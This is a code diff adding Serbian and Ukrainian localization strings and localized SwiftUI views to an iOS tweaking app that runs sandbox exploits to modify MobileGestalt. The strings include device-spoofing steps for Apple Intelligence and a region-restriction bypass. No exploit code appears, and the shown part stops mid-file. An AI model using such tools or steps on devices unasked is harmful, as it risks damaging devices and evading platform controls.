a/mond/sr.lproj/PosterView.strings b/mond/sr.lproj/PosterView.strings new file mode 100644 index 0000000..e13e74a --- /dev/null +++ b/mond/sr.lproj/PosterView.strings @@ -0,0 +1,15 @@ +"apply" = "Примени"; +"reset" = "Ресетуј"; +"import_tendies" = "Импортуј Tendies"; +"explore_tendies" = "Истражи Tendies"; +"tendies_warning" = "Можете да импортујете до 5 позадина.\n**НАПОМЕНА:** Импортовање више од 5 тendies одједном није добра идеја, а више од 15 је УЖАСНА идеја. Немојте после да кажете да вас нисам упозорио."; +"imported" = "Импортовано"; +"poster_apply_success_title" = "PosterBoard је успешно примењен!"; +"poster_take_effect" = "Да би промене ступиле на снагу:\n1. Кликните на „Отвори“ да покренете Posterboard\n2. Затворите га из недавно коришћених апликација"; +"open" = "Отвори"; +"poster_apply_failed_title" = "Примена PosterBoard-а није успела!"; +"poster_apply_failed_body" = "Поново покрените апликацију и покушајте поново. Погледајте логове за више информације."; +"poster_reset_success_title" = "PosterBoard је успешно ресетован у претходно стање!"; +"poster_reset_success_body" = "Урадите respring уређаја да би промене ступиле на снагу."; +"poster_reset_failed_title" = "Ресетовање PosterBoard-а није успело!"; +"poster_reset_failed_body" = "Поново покрените апликацију и покушајте поново. Погледајте логове за више информације."; \ No newline at end of file diff --git a/mond/sr.lproj/SantanderView.strings b/mond/sr.lproj/SantanderView.strings new file mode 100644 index 0000000..4a38545 --- /dev/null +++ b/mond/sr.lproj/SantanderView.strings @@ -0,0 +1,17 @@ +"go_to_root" = "Иди у корен"; +"go_to_home" = "Иди на почетну"; +"display_hidden_files" = "Прикажи скривене фајлове"; +"sort_az" = "Сортирај A-Z"; +"sort_za" = "Сортирај Z-A"; +"save" = "Сачувај"; +"ok" = "OK"; +"failed_to_render_image" = "Није могуће приказати слику"; +"missing_write_permission" = "Недостаје дозвола за упис."; +"could_not_encode_text" = "Није могуће кодирати текст."; +"invalid_plist_json" = "Измењени текст није важећи plist/JSON документ."; +"no_visible_items" = "Нема видљивих ставки. Омогућите „Прикажи скривене датотеке“ да бисте приказали скривене датотеке."; +"directory_empty" = "Директорија је празана."; +"no_app_containers_found" = "Нису пронађени контејнери апликација."; +"cannot_list_directory" = "Није могуће излистати директорију (недостају дозволе)."; +"not_a_directory" = "Није директорија."; +"no_matching_items" = "Нема одговарајућих ставки."; \ No newline at end of file diff --git a/mond/sr.lproj/SettingsView.strings b/mond/sr.lproj/SettingsView.strings new file mode 100644 index 0000000..6f149d6 --- /dev/null +++ b/mond/sr.lproj/SettingsView.strings @@ -0,0 +1,37 @@ +"unknown_app" = "Непозната апликација"; +"method" = "Метод"; +"run_exploit" = "Покрени експлоит"; +"exploit" = "Експлоит"; +"exploit_method_cmg" = "**CMG:** Подржава iOS 27.0 b1 - b4. Овим методом ће радити само MobileGestalt. Користите ово само ако bad_query не ради код вас."; +"exploit_method_bad_query" = "**bad_query:** Подржава iOS 27.0 b1 - b4. Аутор: [forcequit](https://github.com/forcequitOS)."; +"sandbox_extension_token" = "Токен Проширења Сендбокса."; +"token_class" = "Класа:"; +"token_path" = "Путања:"; +"copy_token" = "Копирај Tокен"; +"failed_to_get_token" = "Преузимање токена није успело."; +"generate_token" = "Генериши токен"; +"token" = "Tокен"; +"sandbox_token_valid" = "Ваш сендбокс токен је важећи."; +"sandbox_token_invalid" = "Ваш сендбокс токен није важи"; +"exploit_failed_version" = "Онемогућено јер експлоит није успео. Да ли је ваша верзија iOS-а подржана?"; +"keep_alive" = "Одржавај активним"; +"keep_alive_info" = "Одржава апликацију активном у позадини након затварања, омогућавајући јој да остане активна."; +"dismiss_after_importing" = "Затвори након импортовања"; +"dismiss_after_importing_info" = "Када је укључено, Tendies explorer ће се аутоматски затворити након импортовања .tendies фајла у PosterBoard."; +"persist_after_reboot" = "Задржи након рестарта"; +"persist_after_reboot_info" = "Када је укључено, MobileGestalt се уписује директно на исти инод, што би (надам се) требало да спречи iOS да поново генерише кеш након рестарта. Искључи ово да бисте користили атомску замену датотеке."; +"ignore_exploit_failure" = "Игнориши неуспех експлоита"; +"ignore_exploit_failure_info" = "Када је омогућено, све измене ће бити доступне чак и ако експлоит није успео."; +"settings" = "Подешавања"; +"tools" = "Алати"; +"respring_method_credits" = "Метод за respring: [neon](https://github.com/neonmodder123), Swift имплементација: [skadz](https://github.com/skadz108)."; +"credit_main_developer" = "Главни програмер"; +"credit_bad_query_exploit" = "bad_query експлоит"; +"credit_mcm_bug_class" = "Његов рад на MCM bug класи"; +"credit_partyui_gestaltview" = "PartyUI, GestaltView"; +"credit_tendies_repo" = "Tendies репозиторијум"; +"credit_locaclization_project" = "Пројекат локализације"; +"credits" = "Заслуге"; +"are_you_sure" = "Да ли сте сигурни?"; +"confirm" = "Потврди"; +"confirm_respring" = "Потврдите да желите да урадите respring."; \ No newline at end of file diff --git a/mond/sr.lproj/TendiesView.strings b/mond/sr.lproj/TendiesView.strings new file mode 100644 index 0000000..75bc9c1 --- /dev/null +++ b/mond/sr.lproj/TendiesView.strings @@ -0,0 +1,11 @@ +"loading_wallpapers" = "Учитавање позадина…"; +"couldnt_load_tendies" = "Учитавање Tendies-а није успело"; +"try_again" = "Покушајте поново"; +"search_wallpapers" = "Претражи позадине"; +"import_failed" = "Импортовање није успео"; +"ok" = "OK"; +"add_to_imported" = "Додај у импортоване"; +"preview_unavailable" = "Преглед није доступан"; +"preview_couldnt_load" = "Преглед позадине није могао да се учита."; +"downloading" = "Преузимање..."; +"download_failed" = "Преузимање није успело"; \ No newline at end of file diff --git a/mond/uk.lproj/CEView.strings b/mond/uk.lproj/CEView.strings new file mode 100644 index 0000000..caf3327 --- /dev/null +++ b/mond/uk.lproj/CEView.strings @@ -0,0 +1,18 @@ +"true" = "істина"; +"false" = "хиба"; +"invalid_integer" = "Неправильне ціле число"; +"enter_true_false" = "Введіть true/false"; +"invalid_base64" = "Неправильний base64"; +"no_cache_extra_fields" = "Немає полів CacheExtra"; +"no_results" = "Результатів немає"; +"search_for_keys_or_values" = "Пошук за ключами або значеннями"; +"saved" = "Збережено"; +"you_must_respring" = "Зміни полів записано до MobileGestalt. Виконайте респринг, щоб зміни набули чинності."; +"type" = "Тип"; +"value" = "Значення"; +"key" = "Ключ"; +"key_name" = "Назва ключа"; +"add_field" = "Додати поле"; +"add" = "Додати"; +"key_cant_be_empty" = "Ключ не може бути порожнім"; +"key_already_exist" = "Ключ уже існує"; diff --git a/mond/uk.lproj/ContentView.strings b/mond/uk.lproj/ContentView.strings new file mode 100644 index 0000000..cd52b58 --- /dev/null +++ b/mond/uk.lproj/ContentView.strings @@ -0,0 +1,5 @@ +"logs" = "Журнали"; +"tweaks" = "Твіки"; +"only_mobilegestalt_available" = "Коли вибрано метод cmg, доступний лише MobileGestalt."; +"advanced" = "Для досвідчених"; +"advanced_warning" = "Використовуйте ці налаштування, лише якщо знаєте, що робите.\nВи можете незворотно щось зламати."; diff --git a/mond/uk.lproj/GestaltView.strings b/mond/uk.lproj/GestaltView.strings new file mode 100644 index 0000000..b21932c --- /dev/null +++ b/mond/uk.lproj/GestaltView.strings @@ -0,0 +1,86 @@ +"menu_warning.do_not_reboot" = "Не перезавантажуйте!"; +"menu_warning.mg_empty" = "Ваш MobileGestalt.plist, схоже, порожній."; +"menu_warning.mg_invalid" = "Ваш MobileGestalt.plist, схоже, недійсний."; +"menu_warning.bootloop" = "Перезавантаження зараз може спричинити бутлуп. Спробуйте натиснути «Скасувати твіки». Якщо попередження після цього не зникнуть, вам кінець."; + +"menu.apply_tweaks" = "Застосувати твіки"; +"menu.revert_tweaks" = "Скасувати твіки"; +"menu.tweak_warning" = "**ПОПЕРЕДЖЕННЯ:** У разі неправильного використання ці твіки можуть порушити роботу функцій пристрою або спричинити софтбрик!"; + +"artwork.original_subtype_format" = "Оригінальний "; +"artwork.disable_dynamic_island" = "Вимкнути Dynamic Island"; +"artwork.subtype" = "Підтип"; +"artwork.custom_device_name" = "Власна назва пристрою"; +"artwork.device_name" = "Назва пристрою"; +"artwork.device_artwork" = "Зображення пристрою"; + +"software.enable_dynamic_island_capability" = "Увімкнути підтримку Dynamic Island"; +"software.enable_dynamic_island_capability_info" = "Альтернативний спосіб увімкнути Dynamic Island, який використовується Nugget."; +"software.always_on_display" = "Always-On Display"; +"software.always_on_display_info" = "Може підвищити ризик вигорання екрана на пристроях, які офіційно не підтримують цю функцію."; +"software.aod_vibrancy" = "Насиченість AOD"; +"software.aod_vibrancy_info" = "Увімкніть це, якщо Always-On Display відображається неправильно."; +"software.disable_wallpaper_parallax" = "Вимкнути паралакс шпалер"; +"software.disable_wallpaper_parallax_info" = "Запобігає руху шпалер під час нахилу або переміщення пристрою."; +"software.charge_limit_menu" = "Меню ліміту заряджання"; +"software.charge_limit_menu_info" = "Показує меню в Налаштуваннях; фактичне обмеження заряджання залежить від апаратного забезпечення."; +"software.boot_shutdown_chime" = "Звук запуску та вимкнення"; +"software.boot_shutdown_chime_info" = "Додає звуковий сигнал під час увімкнення або вимкнення пристрою."; +"software.enable_liquid_glass_low_performance_mode" = "Увімкнути режим низької продуктивності Liquid Glass"; +"software.enable_liquid_glass_low_performance_mode_info" = "Призначено для iOS 26 і новіших версій."; +"software.disable_liquid_glass_low_performance_mode" = "Вимкнути режим низької продуктивності Liquid Glass"; +"software.disable_liquid_glass_low_performance_mode_info" = "Не використовуйте одночасно з опцією вище."; +"software.software_oriented_features" = "Програмні функції"; + +"hardware.camera_control_settings" = "Налаштування Camera Control iPhone 16"; +"hardware.camera_control_settings_info" = "Відкриває налаштування Camera Control та пов’язані з ним можливості."; +"hardware.action_button_settings" = "Налаштування кнопки дії"; +"hardware.action_button_settings_info" = "Показує сторінку налаштувань кнопки дії."; +"hardware.collision_sos" = "SOS при зіткненні"; +"hardware.collision_sos_info" = "Показує параметри виявлення зіткнень у налаштуваннях SOS."; +"hardware.tap_to_wake" = "Торкніться для пробудження"; +"hardware.tap_to_wake_info" = "Призначено для пристроїв на кшталт iPhone SE, де пробудження дотиком інакше недоступне."; +"hardware.pulse_width_modulation" = "Широтно-імпульсна модуляція"; +"hardware.hardware_oriented_features" = "Апаратні функції"; + +"eligibility.security_research_device_mode" = "Режим пристрою для досліджень безпеки"; +"eligibility.security_research_device_mode_info" = "Позначає пристрій як пристрій Apple для досліджень безпеки."; +"eligibility.disable_region_restrictions" = "Вимкнути регіональні обмеження"; +"eligibility.disable_region_restrictions_info" = "Цей твік може бути зламаним або не мати ефекту на деяких версіях iOS чи пристроях."; +"eligibility.disable_region_restrictions_warning" = "Будь ласка, не використовуйте цю функцію для обходу регіональних обмежень, якщо це означатиме порушення регіональних законів (наприклад, вимкнення звуку затвора камери). Ми НЕ несемо відповідальності за ввімкнення будь-яких незаконних дій!"; +"eligibility.apple_intelligence" = "Apple Intelligence"; +"eligibility.apple_intelligence_info" = "Як використовувати цей твік:\n1. Підмініть модель на наступну після першої моделі, яку підтримує Apple Intelligence.\n2. Поверніть підміну на свою модель.\n3. Підмініть на фінальну модель — після цього в Налаштуваннях має з’явитися іконка Apple Intelligence.\n4. Підключіть iPhone до живлення та залиште відкритою вкладку Налаштування > Сховище приблизно на 1 годину.\n\nПРИМІТКА: Не виконуйте зворотну підміну."; +"eligibility.spoofing" = "Підміна"; +"eligibility.default_model" = "Типова"; +"eligibility.device_spoofing_info" = "Інформація про підміну пристрою"; +"eligibility.device_spoofing_info_body" = "Підміняйте модель пристрою лише якщо хочете завантажити Apple Intelligence. Це може порушити роботу Face ID. Якщо ви вирішите скасувати підміну та хочете зберегти Apple Intelligence, НЕ відкривайте знову меню Apple Intelligence та Siri в Налаштуваннях."; +"eligibility.apple_intelligence_spoof" = "Підміна для Apple Intelligence"; +"eligibility.apple_intelligence_spoof_info" = "Як використовувати цей твік:\n1. Підмініть модель на наступну після першої моделі, яку підтримує Apple Intelligence.\n2. Поверніть підміну на свою модель.\n3. Підмініть на фінальну модель — після цього в Налаштуваннях має з’явитися іконка Apple Intelligence.\n4. Підключіть iPhone до живлення та залиште відкритою вкладку Налаштування > Сховище приблизно на 1 годину.\n\nПРИМІТКА: Не виконуйте зворотну підміну."; +"eligibility.eligibility" = "Відповідність"; + +"ipados.allow_ipados_apps" = "Дозволити програми iPad"; +"ipados.allow_ipados_apps_info" = "Дозволяє встановлювати програми iPad на iPhone."; +"ipados.apple_pencil_settings" = "Налаштування Apple Pencil"; +"ipados.apple_pencil_settings_info" = "Показує сторінку налаштувань Apple Pencil."; +"ipados.stage_manager_support" = "Підтримка Stage Manager"; +"ipados.stage_manager_support_info" = "Позначає пристрій як сумісний зі Stage Manager."; +"ipados.ipados_mode" = "Увімкнути режим iPadOS"; +"ipados.ipados_mode_info" = "Експериментальна функція з високим ризиком; це дуже небезпечний твік! Якщо ви використовуєте буквено-цифровий код-пароль, НЕ ВИКОРИСТОВУЙТЕ ЦЕЙ ТВІК! Не вимикайте «Показувати Dock у Stage Manager», інакше пристрій увійде в БУТЛУП під час повороту в альбомну орієнтацію! Деякі користувачі також повідомляли, що ввімкнення інтерфейсу iPadOS, а потім натискання Stage Manager може перевести пристрій у режим відновлення, навіть якщо сам інтерфейс візуально не змінився. Перед цим рядок пошуку в Налаштуваннях може переміститися вгору. З огляду на це ви можете зіткнутися із загальною нестабільністю або іншими серйозними проблемами, наприклад із випадковим зникненням даних застосунків. Але, мабуть, деякі кумедні функції багатозадачності, які все одно роблять пристрій відносно непридатним для використання, — це круто? У будь-якому разі, я не збираюся вказувати вам, як користуватися власним пристроєм."; +"ipados.ipados_features" = "Функції iPadOS"; + +"internal.internal_storage_view" = "Перегляд внутрішнього сховища"; +"internal.internal_storage_view_info" = "Показує внутрішні файли в налаштуваннях Сховища; на деяких iPad це може бути небезпечно."; +"internal.internal_features" = "Внутрішні функції"; +"internal.apple_internal_install" = "Внутрішнє встановлення Apple"; +"internal.apple_internal_install_info" = "Вмикає внутрішні функції, такі як Metal HUD; деякі служби можуть працювати неправильно."; +"internal.internal" = "Внутрішні"; + +"warning.failed_to_load_mg" = "Не вдалося завантажити поточний MobileGestalt!"; +"warning.restart_and_check_logs" = "Перезапустіть застосунок і спробуйте ще раз. Перевірте журнали для отримання детальнішої інформації."; +"warning.successfully_applyed_mg" = "Твіки Gestalt успішно застосовано!"; +"warning.respring_to_take_effect" = "Виконайте респринг пристрою, щоб зміни набули чинності. Зверніть увагу, що для правильного застосування деяких твиків може знадобитися перезавантаження."; +"warning.failed_to_apply_mg" = "Не вдалося застосувати MobileGestalt!"; +"warning.successfully_reverted_mg" = "Твіки Gestalt успішно скасовано!"; +"warning.reboot_to_take_effect" = "Перезавантажте пристрій, щоб зміни набули чинності."; +"warning.failed_to_revert_mg" = "Не вдалося скасувати MobileGestalt!"; +"warning.check_logs" = "Перевірте журнали для отримання інформації про помилку."; diff --git a/mond/uk.lproj/LanguageView.strings b/mond/uk.lproj/LanguageView.strings new file mode 100644 index 0000000..6a36a84 --- /dev/null +++ b/mond/uk.lproj/LanguageView.strings @@ -0,0 +1,7 @@ +"system_default" = "Системна мова"; +"system_default_description" = "Використовувати мову пристрою"; +"language" = "Мова"; +"choose_language" = "Вибір мови"; +"restart_required" = "Потрібен перезапуск"; +"exit" = "Вийти"; +"restart_required_message" = "Щоб зміна мови набула чинності, потрібно перезапустити застосунок."; diff --git a/mond/uk.lproj/Localizable.strings b/mond/uk.lproj/Localizable.strings new file mode 100644 index 0000000..c58e38c --- /dev/null +++ b/mond/uk.lproj/Localizable.strings @@ -0,0 +1,10 @@ +/* Українська локалізація mond */ +// Ключі, що використовуються в кількох файлах або в інших місцях +"warning" = "Попередження!"; +"respring" = "Респринг"; +"not_supported" = "Не підтримується!"; +"check_your_ios" = "Ваша версія iOS може не підтримуватися mond.\nMond підтримує лише iOS 27.0 для розробників, бета-версії 1–4."; +"cancel" = "Скасувати"; +"done" = "Готово"; +"save_failed" = "Не вдалося зберегти"; +"information" = "Інформація"; diff --git a/mond/uk.lproj/LogsView.strings b/mond/uk.lproj/LogsView.strings new file mode 100644 index 0000000..2c2f57a --- /dev/null +++ b/mond/uk.lproj/LogsView.strings @@ -0,0 +1 @@ +"copy_output" = "Копіювати вивід"; diff --git a/mond/uk.lproj/PosterView.strings b/mond/uk.lproj/PosterView.strings new file mode 100644 index 0000000..921f28d --- /dev/null +++ b/mond/uk.lproj/PosterView.strings @@ -0,0 +1,15 @@ +"apply" = "Застосувати"; +"reset" = "Скинути"; +"import_tendies" = "Імпортувати Tendies"; +"explore_tendies" = "Переглянути Tendies"; +"tendies_warning" = "Імпортуйте до 5 пакетів шпалер.\n**ПРИМІТКА:** Імпортувати понад 5 Tendies одночасно — погана ідея, а понад 15 — ЖАХЛИВА. Не кажіть, що я вас не попереджав."; +"imported" = "Імпортовано"; +"poster_apply_success_title" = "PosterBoard успішно застосовано!"; +"poster_take_effect" = "Щоб зміни набули чинності:\n1. Натисніть «Відкрити», щоб запустити PosterBoard\n2. Закрийте його через перемикач програм"; +"open" = "Відкрити"; +"poster_apply_failed_title" = "Не вдалося застосувати PosterBoard!"; +"poster_apply_failed_body" = "Перезапустіть застосунок і спробуйте ще раз. Перевірте журнали для отримання детальнішої інформації."; +"poster_reset_success_title" = "Зміни PosterBoard успішно скасовано!"; +"poster_reset_success_body" = "Виконайте респринг пристрою, щоб зміни набули чинності."; +"poster_reset_failed_title" = "Не вдалося скасувати зміни PosterBoard!"; +"poster_reset_failed_body" = "Перезапустіть застосунок і спробуйте ще раз. Перевірте журнали для отримання детальнішої інформації."; diff --git a/mond/uk.lproj/SantanderView.strings b/mond/uk.lproj/SantanderView.strings new file mode 100644 index 0000000..2cdf9ba --- /dev/null +++ b/mond/uk.lproj/SantanderView.strings @@ -0,0 +1,17 @@ +"go_to_root" = "Перейти до кореня"; +"go_to_home" = "Перейти додому"; +"display_hidden_files" = "Показувати приховані файли"; +"sort_az" = "Сортувати від A до Z"; +"sort_za" = "Сортувати від Z до A"; +"save" = "Зберегти"; +"ok" = "OK"; +"failed_to_render_image" = "Не вдалося відобразити зображення"; +"missing_write_permission" = "Відсутній дозвіл на запис."; +"could_not_encode_text" = "Не вдалося закодувати текст."; +"invalid_plist_json" = "Відредагований текст не є допустимим документом plist/JSON."; +"no_visible_items" = "Немає видимих елементів. Увімкніть «Показувати приховані файли», щоб відображати dot-файли."; +"directory_empty" = "Каталог порожній."; +"no_app_containers_found" = "Контейнери застосунків не знайдено."; +"cannot_list_directory" = "Неможливо переглянути каталог (недостатньо дозволів)."; +"not_a_directory" = "Це не каталог."; +"no_matching_items" = "Відповідних елементів не знайдено."; diff --git a/mond/uk.lproj/SettingsView.strings b/mond/uk.lproj/SettingsView.strings new file mode 100644 index 0000000..46770ea --- /dev/null +++ b/mond/uk.lproj/SettingsView.strings @@ -0,0 +1,37 @@ +"unknown_app" = "Невідомий застосунок"; +"method" = "Метод"; +"run_exploit" = "Запустити експлойт"; +"exploit" = "Експлойт"; +"exploit_method_cmg" = "**CMG:** Підтримує iOS 27.0 b1–b4. За допомогою цього методу працюватиме лише MobileGestalt. Використовуйте його лише тоді, коли bad_query у вас не працює."; +"exploit_method_bad_query" = "**bad_query:** Підтримує iOS 27.0 b1–b4. Автор: [forcequit](https://github.com/forcequitOS)."; +"sandbox_extension_token" = "Токен розширення пісочниці."; +"token_class" = "Клас:"; +"token_path" = "Шлях:"; +"copy_token" = "Копіювати токен"; +"failed_to_get_token" = "Не вдалося отримати токен."; +"generate_token" = "Згенерувати токен"; +"token" = "Токен"; +"sandbox_token_valid" = "Ваш токен пісочниці дійсний."; +"sandbox_token_invalid" = "Ваш токен пісочниці недійсний."; +"exploit_failed_version" = "Вимкнено, оскільки експлойт не спрацював. Ваша версія iOS підтримується?"; +"keep_alive" = "Не завершувати роботу"; +"keep_alive_info" = "Залишає застосунок активним у фоновому режимі після його закриття."; +"dismiss_after_importing" = "Закривати після імпорту"; +"dismiss_after_importing_info" = "Якщо ввімкнено, оглядач Tendies автоматично закриється після імпорту файлу .tendies у PosterBoard."; +"persist_after_reboot" = "Зберігати після перезавантаження"; +"persist_after_reboot_info" = "Якщо ввімкнено, MobileGestalt записується на той самий inode, що (сподіваємося) не дозволяє iOS повторно створювати кеш після перезавантаження. Вимкніть, щоб використовувати атомарну заміну файлів."; +"ignore_exploit_failure" = "Ігнорувати збій експлойту"; +"ignore_exploit_failure_info" = "Якщо ввімкнено, усі твіки будуть доступні, навіть якщо експлойт не спрацював."; +"settings" = "Налаштування"; +"tools" = "Інструменти"; +"respring_method_credits" = "Метод респрингу: [neon](https://github.com/neonmodder123), реалізація Swift: [skadz](https://github.com/skadz108)."; +"credit_main_developer" = "Основний розробник"; +"credit_bad_query_exploit" = "Експлойт bad_query"; +"credit_mcm_bug_class" = "Його робота над класом помилок MCM"; +"credit_partyui_gestaltview" = "PartyUI, GestaltView"; +"credit_tendies_repo" = "Репозиторій Tendies"; +"credit_locaclization_project" = "Створення проєкту локалізації"; +"credits" = "Автори"; +"are_you_sure" = "Ви впевнені?"; +"confirm" = "Підтвердити"; +"confirm_respring" = "Підтвердьте, що хочете виконати респринг."; diff --git a/mond/uk.lproj/TendiesView.strings b/mond/uk.lproj/TendiesView.strings new file mode 100644 index 0000000..22af890 --- /dev/null +++ b/mond/uk.lproj/TendiesView.strings @@ -0,0 +1,11 @@ +"loading_wallpapers" = "Завантаження шпалер…"; +"couldnt_load_tendies" = "Не вдалося завантажити Tendies"; +"try_again" = "Спробувати ще раз"; +"search_wallpapers" = "Пошук шпалер"; +"import_failed" = "Не вдалося імпортувати"; +"ok" = "OK"; +"add_to_imported" = "Додати до імпортованих"; +"preview_unavailable" = "Попередній перегляд недоступний"; +"preview_couldnt_load" = "Не вдалося завантажити попередній перегляд шпалер."; +"downloading" = "Завантаження..."; +"download_failed" = "Не вдалося завантажити"; diff --git a/mond/views/app/ContentView.swift b/mond/views/app/ContentView.swift index 133fab0..72e483f 100644 --- a/mond/views/app/ContentView.swift +++ b/mond/views/app/ContentView.swift @@ -1,31 +1,31 @@ -// -// ContentView.swift -// mond -// -// Created by ruter on 17.07.26. -// - -import SwiftUI -import PartyUI - -struct ContentView: View { - @EnvironmentObject var state: AppState - @AppStorage("method") private var method: String = "bad_query" - @AppStorage("ignore_failure") private var ignore_failure = false - - @State private var is_valid: Bool = false - @State private var show_settings: Bool = false - - var body: some View { - NavigationStack { - List { - Section { - LogView() - .modifier(TerminalPlatter()) - } header: { - Label("Logs", systemImage: "apple.terminal") - } - +// +// ContentView.swift +// mond +// +// Created by ruter on 17.07.26. +// + +import SwiftUI +import PartyUI + +struct ContentView: View { + @EnvironmentObject var state: AppState + @AppStorage("method") private var method: String = "bad_query" + @AppStorage("ignore_failure") private var ignore_failure = false + + @State private var is_valid: Bool = false + @State private var show_settings: Bool = false + + var body: some View { + NavigationStack { + List { + Section { + LogView() + .modifier(TerminalPlatter()) + } header: { + Label(NSLocalizedString("logs", tableName: "ContentView", comment: "Logs section header"), systemImage: "apple.terminal") + } + Section { NavigationLink { GestaltView() @@ -67,43 +67,43 @@ struct ContentView: View { } } } - .disabled((method == "cmg" || state.apps_granted != true) && !ignore_failure) - } header: { - Label("Tweaks", systemImage: "paintbrush") - } footer: { - if method == "cmg" { - Text("Only MobileGestalt is available when method is set to cmg.") - } - } - - Section { - NavigationLink { - CEView() - } label: { - Text("CacheExtra Fields") - } - } header: { - Label("Advanced", systemImage: "wrench.and.screwdriver") - } footer: { - Text("Only use these Tweaks if you know what you're doing.\nYou could break something irreversibly.") - } - } - .navigationTitle("mond") - .tint(Color("AccentColor")) - .toolbar { - ToolbarItem(placement: .navigationBarTrailing) { - HStack { - Button { - show_settings = true - } label: { - Image(systemName: "gear") - } - } - } - } - .sheet(isPresented: $show_settings) { - SettingsView() - } - } - } -} + .disabled((method == "cmg" || state.apps_granted != true) && !ignore_failure) + } header: { + Label(NSLocalizedString("tweaks", tableName: "ContentView", comment: "Tweaks section header"), systemImage: "paintbrush") + } footer: { + if method == "cmg" { + Text(NSLocalizedString("only_mobilegestalt_available", tableName: "ContentView", comment: "")) + } + } + + Section { + NavigationLink { + CEView() + } label: { + Text("CacheExtra Fields") + } + } header: { + Label(NSLocalizedString("advanced", tableName: "ContentView", comment: ""), systemImage: "wrench.and.screwdriver") + } footer: { + Text(NSLocalizedString("advanced_warning", tableName: "ContentView", comment: "")) + } + } + .navigationTitle("mond") + .tint(Color("AccentColor")) + .toolbar { + ToolbarItem(placement: .navigationBarTrailing) { + HStack { + Button { + show_settings = true + } label: { + Image(systemName: "gear") + } + } + } + } + .sheet(isPresented: $show_settings) { + SettingsView() + } + } + } +} \ No newline at end of file diff --git a/mond/views/app/LanguageView.swift b/mond/views/app/LanguageView.swift new file mode 100644 index 0000000..49be2d2 --- /dev/null +++ b/mond/views/app/LanguageView.swift @@ -0,0 +1,72 @@ +import SwiftUI + +struct LanguageView: View { + @Environment(\.dismiss) private var dismiss + @ObservedObject private var manager = LanguageManager.shared + + var body: some View { + NavigationStack { + List(AppLanguage.supported) { language in + Button { + guard language.id != manager.current else { return } + confirm_restart(for: language) + } label: { + HStack { + VStack(alignment: .leading, spacing: 2) { + Text(title(for: language)) + .font(.body) + .foregroundColor(.primary) + + Text(subtitle(for: language)) + .font(.subheadline) + .foregroundStyle(.secondary) + } + + Spacer() + + if manager.current == language.id { + Image(systemName: "checkmark") + .fontWeight(.semibold) + .foregroundStyle(Color("AccentColor")) + } + } + .contentShape(Rectangle()) + } + } + .navigationTitle(NSLocalizedString("choose_language", tableName: "LanguageView", comment: "Language picker navigation title")) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .navigationBarTrailing) { + Button { + dismiss() + } label: { + Text(NSLocalizedString("done", comment: "Done button label")) + } + } + } + } + } + private func confirm_restart(for language: AppLanguage) { + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("restart_required", tableName: "LanguageView", comment: "Restart required alert title"), + body: NSLocalizedString("restart_required_message", tableName: "LanguageView", comment: "Restart required alert message"), + showCancel: true, + actionLabel: NSLocalizedString("exit", tableName: "LanguageView", comment: "Exit button label") + ) { + manager.select(language.id) + exit(0) + } + } + + private func title(for language: AppLanguage) -> String { + language.id == "system" + ? NSLocalizedString("system_default", tableName: "LanguageView", comment: "System default language option") + : language.nativeName + } + + private func subtitle(for language: AppLanguage) -> String { + language.id == "system" + ? NSLocalizedString("system_default_description", tableName: "LanguageView", comment: "System default language description") + : language.localizationCredits + } +} \ No newline at end of file diff --git a/mond/views/app/LogView.swift b/mond/views/app/LogView.swift index 3deaada..276b7c2 100644 --- a/mond/views/app/LogView.swift +++ b/mond/views/app/LogView.swift @@ -1,57 +1,58 @@ -// -// LogView.swift -// mond -// -// Created by ruter on 28.07.26. -// - -import SwiftUI -import PartyUI - -struct LogView: View { - @State private var log = "" - - var body: some View { - GeometryReader { _ in - ScrollViewReader { proxy in - ScrollView(showsIndicators: false) { - Text(log) - .font(.system(size: 10, design: .monospaced)) - .multilineTextAlignment(.leading) - .padding(.top) - - Spacer() - .id(0) - } - .onAppear { - pipe.fileHandleForReading.readabilityHandler = { fh in - let data = fh.availableData - - if data.isEmpty { - fh.readabilityHandler = nil - sema.signal() - return - } - - guard let text = String(data: data, encoding: .utf8) else { - return - } - - DispatchQueue.main.async { - log.append(text) - proxy.scrollTo(0) - } - } - } - .contextMenu { - Button { - UIPasteboard.general.string = log - } label: { - Label("Copy Output", systemImage: "doc.on.doc") - } - } - } - } - } -} - +// +// LogView.swift +// mond +// +// Created by ruter on 28.07.26. +// + +import Foundation +import SwiftUI +import PartyUI + +struct LogView: View { + @State private var log = "" + + var body: some View { + GeometryReader { _ in + ScrollViewReader { proxy in + ScrollView(showsIndicators: false) { + Text(log) + .font(.system(size: 10, design: .monospaced)) + .multilineTextAlignment(.leading) + .padding(.top) + + Spacer() + .id(0) + } + .onAppear { + pipe.fileHandleForReading.readabilityHandler = { fh in + let data = fh.availableData + + if data.isEmpty { + fh.readabilityHandler = nil + sema.signal() + return + } + + guard let text = String(data: data, encoding: .utf8) else { + return + } + + DispatchQueue.main.async { + log.append(text) + proxy.scrollTo(0) + } + } + } + .contextMenu { + Button { + UIPasteboard.general.string = log + } label: { + Label(NSLocalizedString("copy_output", tableName: "LogsView", comment: "Copy output action"), systemImage: "doc.on.doc") + } + } + } + } + } +} + diff --git a/mond/views/app/SettingsView.swift b/mond/views/app/SettingsView.swift index f6cf9e1..bd79a03 100644 --- a/mond/views/app/SettingsView.swift +++ b/mond/views/app/SettingsView.swift @@ -1,230 +1,269 @@ -// -// SettingsView.swift -// mond -// -// Created by ruter on 18.07.26. -// - -import SwiftUI -import PartyUI - -struct SettingsView: View { - @Environment(\.dismiss) private var dismiss - @EnvironmentObject var state: AppState - - @AppStorage("method") private var method: String = "bad_query" - @AppStorage("ka_on") private var ka_on = true - @AppStorage("token") private var token: String = "" - @AppStorage("dismiss_after_import") private var dismiss_after_import = false - @AppStorage("atomic_write") private var atomic_write = true - @AppStorage("ignore_failure") private var ignore_failure = false - - @State private var show_confirm: Bool = false - - var valid: Bool { - (sandbox_extension_consume(token) ?? -1) >= 0 - } - - var body: some View { - NavigationStack { - List { - Section { - Button { - if let url = URL(string: "https://github.com/rooootdev/mond"), - UIApplication.shared.canOpenURL(url) { - UIApplication.shared.open(url) - } - } label: { - HStack { - if let icons = Bundle.main.infoDictionary?["CFBundleIcons"] as? [String: Any], - let primary = icons["CFBundlePrimaryIcon"] as? [String: Any], - let files = primary["CFBundleIconFiles"] as? [String], - let icon = files.last, - let img = UIImage(named: icon) { - Image(uiImage: img) - .resizable() - .frame(width: 45, height: 45) - .cornerRadius(12) - } - - VStack(alignment: .leading) { - Text(Bundle.main.object(forInfoDictionaryKey: "CFBundleDisplayName") as? String - ?? 